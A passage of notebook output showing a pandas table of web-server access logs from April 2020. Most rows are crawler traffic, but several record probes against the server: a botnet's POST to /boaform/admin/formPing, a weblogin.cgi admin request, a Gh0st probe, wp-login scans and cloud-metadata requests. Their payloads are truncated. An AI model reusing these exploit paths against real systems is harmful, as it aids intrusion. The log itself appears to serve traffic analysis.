       "      <td>Mozilla/5.0 zgrab/0.x</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>6</th>\n",
       "      <td>42.230.207.98</td>\n",
       "      <td>2020-04-20 06:45:14+00:00</td>\n",
       "      <td>GET /adv,/cgi-bin/weblogin.cgi?username=admin%...</td>\n",
       "      <td>301</td>\n",
       "      <td>721</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>7</th>\n",
       "      <td>162.241.244.109</td>\n",
       "      <td>2020-04-20 06:46:41+00:00</td>\n",
       "      <td>GET /dev/ HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>536</td>\n",
       "      <td>http://suckerpun.ch/</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>8</th>\n",
       "      <td>162.241.244.109</td>\n",
       "      <td>2020-04-20 06:46:41+00:00</td>\n",
       "      <td>GET /dev/ HTTP/1.1</td>\n",
       "      <td>404</td>\n",
       "      <td>5413</td>\n",
       "      <td>http://suckerpun.ch/</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>9</th>\n",
       "      <td>88.229.203.254</td>\n",
       "      <td>2020-04-20 06:46:51+00:00</td>\n",
       "      <td>GET / HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>530</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>10</th>\n",
       "      <td>137.226.113.28</td>\n",
       "      <td>2020-04-20 06:50:12+00:00</td>\n",
       "      <td>GET / HTTP/1.1</td>\n",
       "      <td>200</td>\n",
       "      <td>48960</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 zgrab/0.x (compatible; Researchsca...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>11</th>\n",
       "      <td>192.99.34.42</td>\n",
       "      <td>2020-04-20 06:54:25+00:00</td>\n",
       "      <td>GET /wp-login.php HTTP/1.1</td>\n",
       "      <td>404</td>\n",
       "      <td>3745</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>12</th>\n",
       "      <td>192.99.34.42</td>\n",
       "      <td>2020-04-20 06:54:26+00:00</td>\n",
       "      <td>GET /robots.txt HTTP/1.1</td>\n",
       "      <td>404</td>\n",
       "      <td>3745</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>13</th>\n",
       "      <td>54.36.148.28</td>\n",
       "      <td>2020-04-20 06:57:29+00:00</td>\n",
       "      <td>GET /robots.txt HTTP/1.1</td>\n",
       "      <td>404</td>\n",
       "      <td>4228</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (compatible; AhrefsBot/6.1; +http:...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>14</th>\n",
       "      <td>109.120.167.1</td>\n",
       "      <td>2020-04-20 06:59:49+00:00</td>\n",
       "      <td>GET /2019/license.txt HTTP/1.1</td>\n",
       "      <td>404</td>\n",
       "      <td>3517</td>\n",
       "      <td>http://startwithsocks.com/2019/license.txt</td>\n",
       "      <td>Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62....</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>15</th>\n",
       "      <td>195.55.240.150</td>\n",
       "      <td>2020-04-20 07:14:49+00:00</td>\n",
       "      <td>GET / HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>530</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebK...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>16</th>\n",
       "      <td>96.40.175.199</td>\n",
       "      <td>2020-04-20 07:19:42+00:00</td>\n",
       "      <td>GET / HTTP/1.1</td>\n",
       "      <td>400</td>\n",
       "      <td>0</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>17</th>\n",
       "      <td>64.31.102.54</td>\n",
       "      <td>2020-04-20 07:20:16+00:00</td>\n",
       "      <td>GET /Pages/login.htm HTTP/1.1</td>\n",
       "      <td>400</td>\n",
       "      <td>0</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Hi</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>18</th>\n",
       "      <td>3.91.25.236</td>\n",
       "      <td>2020-04-20 09:16:58+00:00</td>\n",
       "      <td>GET / HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>584</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>19</th>\n",
       "      <td>3.91.25.236</td>\n",
       "      <td>2020-04-20 09:16:58+00:00</td>\n",
       "      <td>GET / HTTP/1.1</td>\n",
       "      <td>200</td>\n",
       "      <td>5165</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>20</th>\n",
       "      <td>185.234.217.175</td>\n",
       "      <td>2020-04-20 09:38:55+00:00</td>\n",
       "      <td>GET /php/ HTTP/1.1</td>\n",
       "      <td>200</td>\n",
       "      <td>5970</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>21</th>\n",
       "      <td>185.234.217.175</td>\n",
       "      <td>2020-04-20 09:38:55+00:00</td>\n",
       "      <td>GET /php/ HTTP/1.1</td>\n",
       "      <td>200</td>\n",
       "      <td>2237</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>22</th>\n",
       "      <td>185.234.217.175</td>\n",
       "      <td>2020-04-20 09:38:55+00:00</td>\n",
       "      <td>GET /php/ HTTP/1.1</td>\n",
       "      <td>200</td>\n",
       "      <td>2237</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>23</th>\n",
       "      <td>34.214.53.203</td>\n",
       "      <td>2020-04-20 09:53:20+00:00</td>\n",
       "      <td>GET /numbergame HTTP/1.1</td>\n",
       "      <td>200</td>\n",
       "      <td>6068</td>\n",
       "      <td>NaN</td>\n",
       "      <td>wiederfreibot/1.0 (+http://twitter.com/wiederf...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>24</th>\n",
       "      <td>54.36.149.35</td>\n",
       "      <td>2020-04-20 10:12:16+00:00</td>\n",
       "      <td>GET /robots.txt HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>551</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (compatible; AhrefsBot/6.1; +http:...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>25</th>\n",
       "      <td>54.36.149.35</td>\n",
       "      <td>2020-04-20 10:12:17+00:00</td>\n",
       "      <td>GET /robots.txt HTTP/1.1</td>\n",
       "      <td>404</td>\n",
       "      <td>4989</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (compatible; AhrefsBot/6.1; +http:...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>26</th>\n",
       "      <td>54.36.148.34</td>\n",
       "      <td>2020-04-20 10:12:18+00:00</td>\n",
       "      <td>GET / HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>531</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (compatible; AhrefsBot/6.1; +http:...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>27</th>\n",
       "      <td>176.31.69.0</td>\n",
       "      <td>2020-04-20 10:55:13+00:00</td>\n",
       "      <td>GET /2018/license.txt HTTP/1.1</td>\n",
       "      <td>404</td>\n",
       "      <td>3517</td>\n",
       "      <td>http://startwithsocks.com/2018/license.txt</td>\n",
       "      <td>Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62....</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>28</th>\n",
       "      <td>66.249.90.87</td>\n",
       "      <td>2020-04-20 11:30:09+00:00</td>\n",
       "      <td>GET /?feed=rss2 HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>604</td>\n",
       "      <td>NaN</td>\n",
       "      <td>FeedFetcher-Google; (+http://www.google.com/fe...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>29</th>\n",
       "      <td>209.85.238.186</td>\n",
       "      <td>2020-04-20 11:30:10+00:00</td>\n",
       "      <td>GET /?feed=rss2 HTTP/1.1</td>\n",
       "      <td>200</td>\n",
       "      <td>5165</td>\n",
       "      <td>NaN</td>\n",
       "      <td>FeedFetcher-Google; (+http://www.google.com/fe...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>...</th>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "      <td>...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4746</th>\n",
       "      <td>209.17.96.114</td>\n",
       "      <td>2020-04-22 00:57:19+00:00</td>\n",
       "      <td>GET / HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>530</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4747</th>\n",
       "      <td>209.17.97.114</td>\n",
       "      <td>2020-04-22 00:58:51+00:00</td>\n",
       "      <td>GET / HTTP/1.1</td>\n",
       "      <td>200</td>\n",
       "      <td>4857</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4748</th>\n",
       "      <td>44.224.22.196</td>\n",
       "      <td>2020-04-22 01:12:46+00:00</td>\n",
       "      <td>GET / HTTP/1.0</td>\n",
       "      <td>400</td>\n",
       "      <td>0</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4749</th>\n",
       "      <td>44.224.22.196</td>\n",
       "      <td>2020-04-22 01:12:46+00:00</td>\n",
       "      <td>GET / HTTP/1.0</td>\n",
       "      <td>400</td>\n",
       "      <td>0</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4750</th>\n",
       "      <td>44.224.22.196</td>\n",
       "      <td>2020-04-22 01:12:46+00:00</td>\n",
       "      <td>GET / HTTP/1.0</td>\n",
       "      <td>400</td>\n",
       "      <td>0</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4751</th>\n",
       "      <td>44.224.22.196</td>\n",
       "      <td>2020-04-22 01:12:46+00:00</td>\n",
       "      <td>GET / HTTP/1.0</td>\n",
       "      <td>400</td>\n",
       "      <td>0</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4752</th>\n",
       "      <td>44.224.22.196</td>\n",
       "      <td>2020-04-22 01:12:46+00:00</td>\n",
       "      <td>GET / HTTP/1.0</td>\n",
       "      <td>400</td>\n",
       "      <td>0</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4753</th>\n",
       "      <td>44.224.22.196</td>\n",
       "      <td>2020-04-22 01:12:46+00:00</td>\n",
       "      <td>GET / HTTP/1.0</td>\n",
       "      <td>400</td>\n",
       "      <td>0</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4754</th>\n",
       "      <td>44.224.22.196</td>\n",
       "      <td>2020-04-22 01:12:46+00:00</td>\n",
       "      <td>GET / HTTP/1.0</td>\n",
       "      <td>400</td>\n",
       "      <td>0</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4755</th>\n",
       "      <td>44.224.22.196</td>\n",
       "      <td>2020-04-22 01:12:46+00:00</td>\n",
       "      <td>GET / HTTP/1.0</td>\n",
       "      <td>400</td>\n",
       "      <td>0</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4756</th>\n",
       "      <td>44.224.22.196</td>\n",
       "      <td>2020-04-22 01:12:46+00:00</td>\n",
       "      <td>GET / HTTP/1.0</td>\n",
       "      <td>400</td>\n",
       "      <td>0</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4757</th>\n",
       "      <td>44.224.22.196</td>\n",
       "      <td>2020-04-22 01:12:46+00:00</td>\n",
       "      <td>GET / HTTP/1.0</td>\n",
       "      <td>400</td>\n",
       "      <td>0</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4758</th>\n",
       "      <td>44.224.22.196</td>\n",
       "      <td>2020-04-22 01:12:46+00:00</td>\n",
       "      <td>GET / HTTP/1.1</td>\n",
       "      <td>200</td>\n",
       "      <td>4691</td>\n",
       "      <td>NaN</td>\n",
       "      <td>AWS Security Scanner</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4759</th>\n",
       "      <td>44.224.22.196</td>\n",
       "      <td>2020-04-22 01:12:46+00:00</td>\n",
       "      <td>GET / HTTP/1.1</td>\n",
       "      <td>200</td>\n",
       "      <td>4690</td>\n",
       "      <td>NaN</td>\n",
       "      <td>AWS Security Scanner</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4760</th>\n",
       "      <td>44.224.22.196</td>\n",
       "      <td>2020-04-22 01:12:46+00:00</td>\n",
       "      <td>GET / HTTP/1.1</td>\n",
       "      <td>200</td>\n",
       "      <td>4690</td>\n",
       "      <td>NaN</td>\n",
       "      <td>AWS Security Scanner</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4761</th>\n",
       "      <td>44.224.22.196</td>\n",
       "      <td>2020-04-22 01:12:46+00:00</td>\n",
       "      <td>GET /latest/dynamic/instance-identity/document...</td>\n",
       "      <td>404</td>\n",
       "      <td>4979</td>\n",
       "      <td>NaN</td>\n",
       "      <td>AWS Security Scanner</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4762</th>\n",
       "      <td>44.224.22.196</td>\n",
       "      <td>2020-04-22 01:12:46+00:00</td>\n",
       "      <td>GET /latest/dynamic/instance-identity/document...</td>\n",
       "      <td>404</td>\n",
       "      <td>4979</td>\n",
       "      <td>NaN</td>\n",
       "      <td>AWS Security Scanner</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4763</th>\n",
       "      <td>27.75.200.63</td>\n",
       "      <td>2020-04-22 01:19:10+00:00</td>\n",
       "      <td>GET / HTTP/1.1</td>\n",
       "      <td>400</td>\n",
       "      <td>0</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4764</th>\n",
       "      <td>39.100.203.17</td>\n",
       "      <td>2020-04-22 01:41:55+00:00</td>\n",
       "      <td>GET /TP/public/index.php HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>587</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US;...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4765</th>\n",
       "      <td>39.100.203.17</td>\n",
       "      <td>2020-04-22 01:41:57+00:00</td>\n",
       "      <td>GET /TP/public/index.php HTTP/1.1</td>\n",
       "      <td>404</td>\n",
       "      <td>4718</td>\n",
       "      <td>http://54.186.126.200/TP/public/index.php</td>\n",
       "      <td>Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US;...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4766</th>\n",
       "      <td>66.240.205.34</td>\n",
       "      <td>2020-04-22 01:50:14+00:00</td>\n",
       "      <td>Gh0st\\xad</td>\n",
       "      <td>400</td>\n",
       "      <td>0</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4767</th>\n",
       "      <td>177.84.146.44</td>\n",
       "      <td>2020-04-22 02:37:38+00:00</td>\n",
       "      <td>GET / HTTP/1.0</td>\n",
       "      <td>301</td>\n",
       "      <td>549</td>\n",
       "      <td>https://dhtgame.site/como-olvidar-lo-mejor-de-...</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 6.3; Win64; x64) Apple...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4768</th>\n",
       "      <td>162.243.132.116</td>\n",
       "      <td>2020-04-22 02:59:24+00:00</td>\n",
       "      <td>\\x16\\x03\\x01</td>\n",
       "      <td>400</td>\n",
       "      <td>0</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4769</th>\n",
       "      <td>74.82.47.4</td>\n",
       "      <td>2020-04-22 03:42:26+00:00</td>\n",
       "      <td>GET / HTTP/1.1</td>\n",
       "      <td>200</td>\n",
       "      <td>4857</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4770</th>\n",
       "      <td>54.36.148.202</td>\n",
       "      <td>2020-04-22 04:30:57+00:00</td>\n",
       "      <td>GET /ecommerce/ HTTP/1.1</td>\n",
       "      <td>200</td>\n",
       "      <td>5433</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (compatible; AhrefsBot/6.1; +http:...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4771</th>\n",
       "      <td>71.6.232.4</td>\n",
       "      <td>2020-04-22 04:35:21+00:00</td>\n",
       "      <td>GET / HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>530</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4772</th>\n",
       "      <td>185.178.18.185</td>\n",
       "      <td>2020-04-22 04:52:27+00:00</td>\n",
       "      <td>POST /boaform/admin/formPing HTTP/1.1</td>\n",
       "      <td>400</td>\n",
       "      <td>0</td>\n",
       "      <td>NaN</td>\n",
       "      <td>polaris botnet</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4773</th>\n",
       "      <td>54.36.149.64</td>\n",
       "      <td>2020-04-22 05:47:27+00:00</td>\n",
       "      <td>GET /robots.txt HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>552</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (compatible; AhrefsBot/6.1; +http:...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4774</th>\n",
       "      <td>54.36.149.64</td>\n",
       "      <td>2020-04-22 05:47:27+00:00</td>\n",
       "      <td>GET /robots.txt HTTP/1.1</td>\n",
       "      <td>404</td>\n",
       "      <td>4989</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (compatible; AhrefsBot/6.1; +http:...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4775</th>\n",
       "      <td>54.36.148.137</td>\n",
       "      <td>2020-04-22 05:47:28+00:00</td>\n",
       "      <td>GET / HTTP/1.1</td>\n",
       "      <td>301</td>\n",
       "      <td>532</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Mozilla/5.0 (compatible; AhrefsBot/6.1; +http:...</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "<p>4776 rows × 7 columns</p>\n",
       "</div>"
      ],
      "text/plain": [
       "                   ip                      time  \\\n",
       "0      68.132.136.198 2020-04-20 06:28:16+00:00   \n",
       "1        37.187.75.16 2020-04-20 06:29:00+00:00   \n",
       "2        37.187.75.16 2020-04-20 06:29:02+00:00   \n",
       "3        37.187.75.16 2020-04-20 06:29:06+00:00   \n",
       "4        37.187.75.16 2020-04-20 06:29:08+00:00   \n",
       "5      162.243.128.92 2020-04-20 06:36:19+00:00   \n",
       "6       42.230.207.98 2020-04-20 06:45:14+00:00   \n",
       "7     162.241.244.109 2020-04-20 06:46:41+00:00   \n",
       "8     162.241.244.109 2020-04-20 06:46:41+00:00   \n",
       "9      88.229.203.254 2020-04-20 06:46:51+00:00   \n",
       "10     137.226.113.28 2020-04-20 06:50:12+00:00   \n",
       "11       192.99.34.42 2020-04-20 06:54:25+00:00   \n",
       "12       192.99.34.42 2020-04-20 06:54:26+00:00   \n",
       "13       54.36.148.28 2020-04-20 06:57:29+00:00   \n",
       "14      109.120.167.1 2020-04-20 06:59:49+00:00   \n",
       "15     195.55.240.150 2020-04-20 07:14:49+00:00   \n",
       "16      96.40.175.199 2020-04-20 07:19:42+00:00   \n",
       "17       64.31.102.54 2020-04-20 07:20:16+00:00   \n",
       "18        3.91.25.236 2020-04-20 09:16:58+00:00   \n",
       "19        3.91.25.236 2020-04-20 09:16:58+00:00   \n",
       "20    185.234.217.175 2020-04-20 09:38:55+00:00   \n",
       "21    185.234.217.175 2020-04-20 09:38:55+00:00   \n",
       "22    185.234.217.175 2020-04-20 09:38:55+00:00   \n",
       "23      34.214.53.203 2020-04-20 09:53:20+00:00   \n",
       "24       54.36.149.35 2020-04-20 10:12:16+00:00   \n",
       "25       54.36.149.35 2020-04-20 10:12:17+00:00   \n",
       "26       54.36.148.34 2020-04-20 10:12:18+00:00   \n",
       "27        176.31.69.0 2020-04-20 10:55:13+00:00   \n",
       "28       66.249.90.87 2020-04-20 11:30:09+00:00   \n",
       "29     209.85.238.186 2020-04-20 11:30:10+00:00   \n",
       "...               ...                       ...   \n",
       "4746    209.17.96.114 2020-04-22 00:57:19+00:00   \n",
       "4747    209.17.97.114 2020-04-22 00:58:51+00:00   \n",
       "4748    44.224.22.196 2020-04-22 01:12:46+00:00   \n",
       "4749    44.224.22.196 2020-04-22 01:12:46+00:00   \n",
       "4750    44.224.22.196 2020-04-22 01:12:46+00:00   \n",
       "4751    44.224.22.196 2020-04-22 01:12:46+00:00   \n",
       "4752    44.224.22.196 2020-04-22 01:12:46+00:00   \n",
       "4753    44.224.22.196 2020-04-22 01:12:46+00:00   \n",
       "4754    44.224.22.196 2020-04-22 01:12:46+00:00   \n",
       "4755    44.224.22.196 2020-04-22 01:12:46+00:00   \n",
       "4756    44.224.22.196 2020-04-22 01:12:46+00:00   \n",
       "4757    44.224.22.196 2020-04-22 01:12:46+00:00   \n",
       "4758    44.224.22.196 2020-04-22 01:12:46+00:00   \n",
       "4759    44.224.22.196 2020-04-22 01:12:46+00:00   \n",
       "4760    44.224.22.196 2020-04-22 01:12:46+00:00   \n",
       "4761    44.224.22.196 2020-04-22 01:12:46+00:00   \n",
       "4762    44.224.22.196 2020-04-22 01:12:46+00:00   \n",
       "4763     27.75.200.63 2020-04-22 01:19:10+00:00   \n",
       "4764    39.100.203.17 2020-04-22 01:41:55+00:00   \n",
       "4765    39.100.203.17 2020-04-22 01:41:57+00:00   \n",
       "4766    66.240.205.34 2020-04-22 01:50:14+00:00   \n",
       "4767    177.84.146.44 2020-04-22 02:37:38+00:00   \n",
       "4768  162.243.132.116 2020-04-22 02:59:24+00:00   \n",
       "4769       74.82.47.4 2020-04-22 03:42:26+00:00   \n",
       "4770    54.36.148.202 2020-04-22 04:30:57+00:00   \n",
       "4771       71.6.232.4 2020-04-22 04:35:21+00:00   \n",
       "4772   185.178.18.185 2020-04-22 04:52:27+00:00   \n",
       "4773     54.36.149.64 2020-04-22 05:47:27+00:00   \n",
       "4774     54.36.149.64 2020-04-22 05:47:27+00:00   \n",
       "4775    54.36.148.137 2020-04-22 05:47:28+00:00   \n",
       "\n",
       "                                                request  status   size  \\\n",
       "0               POST /cgi-bin/mainfunction.cgi HTTP/1.1     301    592   \n",
       "1                            GET /wp-login.php HTTP/1.1     301    574   \n",
       "2                            GET /wp-login.php HTTP/1.1     404   4962   \n",
       "3                              GET /robots.txt HTTP/1.1     301    570   \n",
       "4                              GET /robots.txt HTTP/1.1     404   4538   \n",
       "5                                        GET / HTTP/1.1     200   4457   \n",
       "6     GET /adv,/cgi-bin/weblogin.cgi?username=admin%...     301    721   \n",
       "7                                    GET /dev/ HTTP/1.1     301    536   \n",
       "8                                    GET /dev/ HTTP/1.1     404   5413   \n",
       "9                                        GET / HTTP/1.1     301    530   \n",
       "10                                       GET / HTTP/1.1     200  48960   \n",
       "11                           GET /wp-login.php HTTP/1.1     404   3745   \n",
       "12                             GET /robots.txt HTTP/1.1     404   3745   \n",
       "13                             GET /robots.txt HTTP/1.1     404   4228   \n",
       "14                       GET /2019/license.txt HTTP/1.1     404   3517   \n",
       "15                                       GET / HTTP/1.1     301    530   \n",
       "16                                       GET / HTTP/1.1     400      0   \n",
       "17                        GET /Pages/login.htm HTTP/1.1     400      0   \n",
       "18                                       GET / HTTP/1.1     301    584   \n",
       "19                                       GET / HTTP/1.1     200   5165   \n",
       "20                                   GET /php/ HTTP/1.1     200   5970   \n",
       "21                                   GET /php/ HTTP/1.1     200   2237   \n",
       "22                                   GET /php/ HTTP/1.1     200   2237   \n",
       "23                             GET /numbergame HTTP/1.1     200   6068   \n",
       "24                             GET /robots.txt HTTP/1.1     301    551   \n",
       "25                             GET /robots.txt HTTP/1.1     404   4989   \n",
       "26                                       GET / HTTP/1.1     301    531   \n",
       "27                       GET /2018/license.txt HTTP/1.1     404   3517   \n",
       "28                             GET /?feed=rss2 HTTP/1.1     301    604   \n",
       "29                             GET /?feed=rss2 HTTP/1.1     200   5165   \n",
       "...                                                 ...     ...    ...   \n",
       "4746                                     GET / HTTP/1.1     301    530   \n",
       "4747                                     GET / HTTP/1.1     200   4857   \n",
       "4748                                     GET / HTTP/1.0     400      0   \n",
       "4749                                     GET / HTTP/1.0     400      0   \n",
       "4750                                     GET / HTTP/1.0     400      0   \n",
       "4751                                     GET / HTTP/1.0     400      0   \n",
       "4752                                     GET / HTTP/1.0     400      0   \n",
       "4753                                     GET / HTTP/1.0     400      0   \n",
       "4754                                     GET / HTTP/1.0     400      0   \n",
       "4755                                     GET / HTTP/1.0     400      0   \n",
       "4756                                     GET / HTTP/1.0     400      0   \n",
       "4757                                     GET / HTTP/1.0     400      0   \n",
       "4758                                     GET / HTTP/1.1     200   4691   \n",
       "4759                                     GET / HTTP/1.1     200   4690   \n",
       "4760                                     GET / HTTP/1.1     200   4690   \n",
       "4761  GET /latest/dynamic/instance-identity/document...     404   4979   \n",
       "4762  GET /latest/dynamic/instance-identity/document...     404   4979   \n",
       "4763                                     GET / HTTP/1.1     400      0   \n",
       "4764                  GET /TP/public/index.php HTTP/1.1     301    587   \n",
       "4765                  GET /TP/public/index.php HTTP/1.1     404   4718   \n",
       "4766                                          Gh0st\\xad     400      0   \n",
       "4767                                     GET / HTTP/1.0     301    549   \n",
       "4768                                       \\x16\\x03\\x01     400      0   \n",
       "4769                                     GET / HTTP/1.1     200   4857   \n",
       "4770                           GET /ecommerce/ HTTP/1.1     200   5433   \n",
       "4771                                     GET / HTTP/1.1     301    530   \n",
       "4772              POST /boaform/admin/formPing HTTP/1.1     400      0   \n",
       "4773                           GET /robots.txt HTTP/1.1     301    552   \n",
       "4774                           GET /robots.txt HTTP/1.1     404   4989   \n",
       "4775                                     GET / HTTP/1.1     301    532   \n",
       "\n",
       "                                                referer  \\\n",
       "0                                                   NaN   \n",
       "1                                                   NaN   \n",
       "2                                                   NaN   \n",
       "3                                                   NaN   \n",
       "4                                                   NaN   \n",
       "5                                                   NaN   \n",
       "6                                                   NaN   \n",
       "7                                  http://suckerpun.ch/   \n",
       "8                                  http://suckerpun.ch/   \n",
       "9                                                   NaN   \n",
       "10                                                  NaN   \n",
       "11                                                  NaN   \n",
       "12                                                  NaN   \n",
       "13                                                  NaN   \n",
       "14           http://startwithsocks.com/2019/license.txt   \n",
       "15                                                  NaN   \n",
       "16                                                  NaN   \n",
       "17                                                  NaN   \n",
       "18                                                  NaN   \n",
       "19                                                  NaN   \n",
       "20                                                  NaN   \n",
       "21                                                  NaN   \n",
       "22                                                  NaN   \n",
       "23                                                  NaN   \n",
       "24                                                  NaN   \n",
       "25                                                  NaN   \n",
       "26                                                  NaN   \n",
       "27           http://startwithsocks.com/2018/license.txt   \n",
       "28                                                  NaN   \n",
       "29                                                  NaN   \n",
       "...                                                 ...   \n",
       "4746                                                NaN   \n",
